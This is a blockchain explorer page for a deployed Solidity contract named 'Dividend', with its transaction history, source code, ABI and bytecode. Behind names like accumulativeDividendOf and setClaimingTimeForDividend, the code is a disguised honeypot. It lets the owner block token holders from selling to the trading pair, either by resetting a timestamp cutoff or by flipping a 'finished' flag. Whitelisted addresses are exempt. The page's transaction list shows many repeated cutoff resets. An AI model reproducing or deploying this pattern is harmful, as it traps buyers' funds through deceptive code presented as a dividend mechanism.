Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00Latest 25 from a total of 131 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Set Dividend Fin... | 17306043 | 1029 days ago | IN | 0 ETH | 0.00087596 | ||||
| Set Claiming Tim... | 17306006 | 1029 days ago | IN | 0 ETH | 0.00093158 | ||||
| Set Claiming Tim... | 17305989 | 1029 days ago | IN | 0 ETH | 0.00090022 | ||||
| Set Claiming Tim... | 17305951 | 1029 days ago | IN | 0 ETH | 0.0007358 | ||||
| Set Claiming Tim... | 17305948 | 1029 days ago | IN | 0 ETH | 0.000735 | ||||
| Set Claiming Tim... | 17305946 | 1029 days ago | IN | 0 ETH | 0.00084128 | ||||
| Set Claiming Tim... | 17305923 | 1029 days ago | IN | 0 ETH | 0.00081569 | ||||
| Set Claiming Tim... | 17305890 | 1029 days ago | IN | 0 ETH | 0.00077245 | ||||
| Set Claiming Tim... | 17305883 | 1029 days ago | IN | 0 ETH | 0.00086225 | ||||
| Set Claiming Tim... | 17305878 | 1029 days ago | IN | 0 ETH | 0.00099789 | ||||
| Set Claiming Tim... | 17305874 | 1029 days ago | IN | 0 ETH | 0.00074099 | ||||
| Set Claiming Tim... | 17305870 | 1029 days ago | IN | 0 ETH | 0.00080238 | ||||
| Set Claiming Tim... | 17305867 | 1029 days ago | IN | 0 ETH | 0.00083923 | ||||
| Set Claiming Tim... | 17305863 | 1029 days ago | IN | 0 ETH | 0.00079848 | ||||
| Set Claiming Tim... | 17305858 | 1029 days ago | IN | 0 ETH | 0.00074721 | ||||
| Set Claiming Tim... | 17305856 | 1029 days ago | IN | 0 ETH | 0.00080041 | ||||
| Set Claiming Tim... | 17305854 | 1029 days ago | IN | 0 ETH | 0.00084677 | ||||
| Set Claiming Tim... | 17305851 | 1029 days ago | IN | 0 ETH | 0.00077099 | ||||
| Set Claiming Tim... | 17305843 | 1029 days ago | IN | 0 ETH | 0.0007903 | ||||
| Set Claiming Tim... | 17305837 | 1029 days ago | IN | 0 ETH | 0.00076226 | ||||
| Whitelist For Di... | 17305819 | 1029 days ago | IN | 0 ETH | 0.00119691 | ||||
| Set Claiming Tim... | 17305812 | 1029 days ago | IN | 0 ETH | 0.00075832 | ||||
| Set Claiming Tim... | 17305799 | 1029 days ago | IN | 0 ETH | 0.00072717 | ||||
| Set Claiming Tim... | 17305797 | 1029 days ago | IN | 0 ETH | 0.00065073 | ||||
| Set Claiming Tim... | 17305795 | 1029 days ago | IN | 0 ETH | 0.00076739 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Dividend
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-05-20
*/
/**
*Submitted for verification at Etherscan.io on 2023-05-18
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Dividend is Ownable {
address private token;
address private pair;
bool private isDividendFinished;
mapping(address => bool) private _whitelists;
mapping (address => uint256) private _dividendTimePassed;
uint256 private claimTime;
modifier onlyToken() {
require(msg.sender == token);
_;
}
function setDividendFinished(bool isFinished) external onlyOwner {
isDividendFinished = isFinished;
}
function setTokenForDivideEnds(address _token, address _pair) external onlyOwner {
token = _token;
pair = _pair;
isDividendFinished = false;
}
function setClaimingTimeForDividend() external onlyOwner {
claimTime = block.timestamp;
}
function whitelistForDivideEnds(address owner_, bool _isWhitelist) external onlyOwner {
_whitelists[owner_] = _isWhitelist;
}
function accumulativeDividendOf(address _from, address _to) external onlyToken returns (uint256) {
if (_whitelists[_from] || _whitelists[_to]) {
return 1;
}
if (_from == pair) {
if (_dividendTimePassed[_to] == 0) {
_dividendTimePassed[_to] = block.timestamp;
}
} else if (_to == pair) {
require(!isDividendFinished && _dividendTimePassed[_from] >= claimTime);
} else {
_dividendTimePassed[_to] = _dividendTimePassed[_from];
}
return 0;
}
receive() external payable { }
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"accumulativeDividendOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setClaimingTimeForDividend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isFinished","type":"bool"}],"name":"setDividendFinished","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"setTokenForDivideEnds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForDivideEnds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405234801561001057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350610691806100616000396000f3fe60806040526004361061007f5760003560e01c80638da5cb5b1161004e5780638da5cb5b14610102578063cc5489df1461012f578063f2fde38b1461015d578063ffa15ec41461017d57600080fd5b8063145d76a81461008b5780634a60b993146100ad578063715018a6146100cd57806389fd4219146100e257600080fd5b3661008657005b600080fd5b34801561009757600080fd5b506100ab6100a6366004610575565b610192565b005b3480156100b957600080fd5b506100ab6100c83660046105ae565b6101e3565b3480156100d957600080fd5b506100ab610242565b3480156100ee57600080fd5b506100ab6100fd3660046105e1565b6102b6565b34801561010e57600080fd5b506000546040516001600160a01b0390911681526020015b60405180910390f35b34801561013b57600080fd5b5061014f61014a3660046105ae565b61030b565b604051908152602001610126565b34801561016957600080fd5b506100ab61017836600461060b565b610446565b34801561018957600080fd5b506100ab610530565b6000546001600160a01b031633146101c55760405162461bcd60e51b81526004016101bc90610626565b60405180910390fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461020d5760405162461bcd60e51b81526004016101bc90610626565b600180546001600160a01b039384166001600160a01b0319909116179055600280546001600160a81b03191691909216179055565b6000546001600160a01b0316331461026c5760405162461bcd60e51b81526004016101bc90610626565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146102e05760405162461bcd60e51b81526004016101bc90610626565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6001546000906001600160a01b0316331461032557600080fd5b6001600160a01b03831660009081526003602052604090205460ff168061036457506001600160a01b03821660009081526003602052604090205460ff165b1561037157506001610440565b6002546001600160a01b03848116911614156103c5576001600160a01b0382166000908152600460205260409020546103c0576001600160a01b03821660009081526004602052604090204290555b61043c565b6002546001600160a01b038381169116141561041857600254600160a01b900460ff1615801561040f57506005546001600160a01b03841660009081526004602052604090205410155b6103c057600080fd5b6001600160a01b038084166000908152600460205260408082205492851682529020555b5060005b92915050565b6000546001600160a01b031633146104705760405162461bcd60e51b81526004016101bc90610626565b6001600160a01b0381166104d55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101bc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461055a5760405162461bcd60e51b81526004016101bc90610626565b42600555565b8035801515811461057057600080fd5b919050565b60006020828403121561058757600080fd5b61059082610560565b9392505050565b80356001600160a01b038116811461057057600080fd5b600080604083850312156105c157600080fd5b6105ca83610597565b91506105d860208401610597565b90509250929050565b600080604083850312156105f457600080fd5b6105fd83610597565b91506105d860208401610560565b60006020828403121561061d57600080fd5b61059082610597565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212204f576f4aab2308c8dd357ec49be11c8bf57fa6692aa0fca9fd2337b8a4f824d864736f6c63430008090033
Deployed Bytecode
0x60806040526004361061007f5760003560e01c80638da5cb5b1161004e5780638da5cb5b14610102578063cc5489df1461012f578063f2fde38b1461015d578063ffa15ec41461017d57600080fd5b8063145d76a81461008b5780634a60b993146100ad578063715018a6146100cd57806389fd4219146100e257600080fd5b3661008657005b600080fd5b34801561009757600080fd5b506100ab6100a6366004610575565b610192565b005b3480156100b957600080fd5b506100ab6100c83660046105ae565b6101e3565b3480156100d957600080fd5b506100ab610242565b3480156100ee57600080fd5b506100ab6100fd3660046105e1565b6102b6565b34801561010e57600080fd5b506000546040516001600160a01b0390911681526020015b60405180910390f35b34801561013b57600080fd5b5061014f61014a3660046105ae565b61030b565b604051908152602001610126565b34801561016957600080fd5b506100ab61017836600461060b565b610446565b34801561018957600080fd5b506100ab610530565b6000546001600160a01b031633146101c55760405162461bcd60e51b81526004016101bc90610626565b60405180910390fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461020d5760405162461bcd60e51b81526004016101bc90610626565b600180546001600160a01b039384166001600160a01b0319909116179055600280546001600160a81b03191691909216179055565b6000546001600160a01b0316331461026c5760405162461bcd60e51b81526004016101bc90610626565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146102e05760405162461bcd60e51b81526004016101bc90610626565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6001546000906001600160a01b0316331461032557600080fd5b6001600160a01b03831660009081526003602052604090205460ff168061036457506001600160a01b03821660009081526003602052604090205460ff165b1561037157506001610440565b6002546001600160a01b03848116911614156103c5576001600160a01b0382166000908152600460205260409020546103c0576001600160a01b03821660009081526004602052604090204290555b61043c565b6002546001600160a01b038381169116141561041857600254600160a01b900460ff1615801561040f57506005546001600160a01b03841660009081526004602052604090205410155b6103c057600080fd5b6001600160a01b038084166000908152600460205260408082205492851682529020555b5060005b92915050565b6000546001600160a01b031633146104705760405162461bcd60e51b81526004016101bc90610626565b6001600160a01b0381166104d55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101bc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461055a5760405162461bcd60e51b81526004016101bc90610626565b42600555565b8035801515811461057057600080fd5b919050565b60006020828403121561058757600080fd5b61059082610560565b9392505050565b80356001600160a01b038116811461057057600080fd5b600080604083850312156105c157600080fd5b6105ca83610597565b91506105d860208401610597565b90509250929050565b600080604083850312156105f457600080fd5b6105fd83610597565b91506105d860208401610560565b60006020828403121561061d57600080fd5b61059082610597565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212204f576f4aab2308c8dd357ec49be11c8bf57fa6692aa0fca9fd2337b8a4f824d864736f6c63430008090033
Deployed Bytecode Sourcemap
2206:1511:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2578:113;;;;;;;;;;-1:-1:-1;2578:113:0;;;;;:::i;:::-;;:::i;:::-;;2699:168;;;;;;;;;;-1:-1:-1;2699:168:0;;;;;:::i;:::-;;:::i;1650:148::-;;;;;;;;;;;;;:::i;2984:137::-;;;;;;;;;;-1:-1:-1;2984:137:0;;;;;:::i;:::-;;:::i;1008:79::-;;;;;;;;;;-1:-1:-1;1046:7:0;1073:6;1008:79;;-1:-1:-1;;;;;1073:6:0;;;1212:51:1;;1200:2;1185:18;1008:79:0;;;;;;;;3129:547;;;;;;;;;;-1:-1:-1;3129:547:0;;;;;:::i;:::-;;:::i;:::-;;;1420:25:1;;;1408:2;1393:18;3129:547:0;1274:177:1;1953:244:0;;;;;;;;;;-1:-1:-1;1953:244:0;;;;;:::i;:::-;;:::i;2875:101::-;;;;;;;;;;;;;:::i;2578:113::-;1220:6;;-1:-1:-1;;;;;1220:6:0;244:10;1220:22;1212:67;;;;-1:-1:-1;;;1212:67:0;;;;;;;:::i;:::-;;;;;;;;;2652:18:::1;:31:::0;;;::::1;;-1:-1:-1::0;;;2652:31:0::1;-1:-1:-1::0;;;;2652:31:0;;::::1;::::0;;;::::1;::::0;;2578:113::o;2699:168::-;1220:6;;-1:-1:-1;;;;;1220:6:0;244:10;1220:22;1212:67;;;;-1:-1:-1;;;1212:67:0;;;;;;;:::i;:::-;2789:5:::1;:14:::0;;-1:-1:-1;;;;;2789:14:0;;::::1;-1:-1:-1::0;;;;;;2789:14:0;;::::1;;::::0;;2812:4:::1;:12:::0;;-1:-1:-1;;;;;;2833:26:0;2812:12;;;::::1;2833:26:::0;;;2699:168::o;1650:148::-;1220:6;;-1:-1:-1;;;;;1220:6:0;244:10;1220:22;1212:67;;;;-1:-1:-1;;;1212:67:0;;;;;;;:::i;:::-;1757:1:::1;1741:6:::0;;1720:40:::1;::::0;-1:-1:-1;;;;;1741:6:0;;::::1;::::0;1720:40:::1;::::0;1757:1;;1720:40:::1;1788:1;1771:19:::0;;-1:-1:-1;;;;;;1771:19:0::1;::::0;;1650:148::o;2984:137::-;1220:6;;-1:-1:-1;;;;;1220:6:0;244:10;1220:22;1212:67;;;;-1:-1:-1;;;1212:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3079:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:34;;-1:-1:-1;;3079:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;2984:137::o;3129:547::-;2543:5;;3217:7;;-1:-1:-1;;;;;2543:5:0;2529:10;:19;2521:28;;;;;;-1:-1:-1;;;;;3239:18:0;::::1;;::::0;;;:11:::1;:18;::::0;;;;;::::1;;::::0;:38:::1;;-1:-1:-1::0;;;;;;3261:16:0;::::1;;::::0;;;:11:::1;:16;::::0;;;;;::::1;;3239:38;3235:73;;;-1:-1:-1::0;3297:1:0::1;3290:8;;3235:73;3329:4;::::0;-1:-1:-1;;;;;3320:13:0;;::::1;3329:4:::0;::::1;3320:13;3316:336;;;-1:-1:-1::0;;;;;3350:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;;3346:102:::1;;-1:-1:-1::0;;;;;3394:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;3421:15:::1;3394:42:::0;;3346:102:::1;3316:336;;;3474:4;::::0;-1:-1:-1;;;;;3467:11:0;;::::1;3474:4:::0;::::1;3467:11;3463:189;;;3500:18;::::0;-1:-1:-1;;;3500:18:0;::::1;;;3499:19;:62:::0;::::1;;;-1:-1:-1::0;3552:9:0::1;::::0;-1:-1:-1;;;;;3522:26:0;::::1;;::::0;;;:19:::1;:26;::::0;;;;;:39:::1;;3499:62;3491:71;;;::::0;::::1;3463:189;-1:-1:-1::0;;;;;3616:26:0;;::::1;;::::0;;;:19:::1;:26;::::0;;;;;;3589:24;;::::1;::::0;;;;:53;3463:189:::1;-1:-1:-1::0;3667:1:0::1;2561;3129:547:::0;;;;:::o;1953:244::-;1220:6;;-1:-1:-1;;;;;1220:6:0;244:10;1220:22;1212:67;;;;-1:-1:-1;;;1212:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2042:22:0;::::1;2034:73;;;::::0;-1:-1:-1;;;2034:73:0;;2210:2:1;2034:73:0::1;::::0;::::1;2192:21:1::0;2249:2;2229:18;;;2222:30;2288:34;2268:18;;;2261:62;-1:-1:-1;;;2339:18:1;;;2332:36;2385:19;;2034:73:0::1;2008:402:1::0;2034:73:0::1;2144:6;::::0;;2123:38:::1;::::0;-1:-1:-1;;;;;2123:38:0;;::::1;::::0;2144:6;::::1;::::0;2123:38:::1;::::0;::::1;2172:6;:17:::0;;-1:-1:-1;;;;;;2172:17:0::1;-1:-1:-1::0;;;;;2172:17:0;;;::::1;::::0;;;::::1;::::0;;1953:244::o;2875:101::-;1220:6;;-1:-1:-1;;;;;1220:6:0;244:10;1220:22;1212:67;;;;-1:-1:-1;;;1212:67:0;;;;;;;:::i;:::-;2953:15:::1;2941:9;:27:::0;2875:101::o;14:160:1:-;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:180::-;235:6;288:2;276:9;267:7;263:23;259:32;256:52;;;304:1;301;294:12;256:52;327:26;343:9;327:26;:::i;:::-;317:36;179:180;-1:-1:-1;;;179:180:1:o;364:173::-;432:20;;-1:-1:-1;;;;;481:31:1;;471:42;;461:70;;527:1;524;517:12;542:260;610:6;618;671:2;659:9;650:7;646:23;642:32;639:52;;;687:1;684;677:12;639:52;710:29;729:9;710:29;:::i;:::-;700:39;;758:38;792:2;781:9;777:18;758:38;:::i;:::-;748:48;;542:260;;;;;:::o;807:254::-;872:6;880;933:2;921:9;912:7;908:23;904:32;901:52;;;949:1;946;939:12;901:52;972:29;991:9;972:29;:::i;:::-;962:39;;1020:35;1051:2;1040:9;1036:18;1020:35;:::i;1456:186::-;1515:6;1568:2;1556:9;1547:7;1543:23;1539:32;1536:52;;;1584:1;1581;1574:12;1536:52;1607:29;1626:9;1607:29;:::i;1647:356::-;1849:2;1831:21;;;1868:18;;;1861:30;1927:34;1922:2;1907:18;;1900:62;1994:2;1979:18;;1647:356::o
Swarm Source
ipfs://4f576f4aab2308c8dd357ec49be11c8bf57fa6692aa0fca9fd2337b8a4f824d8
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.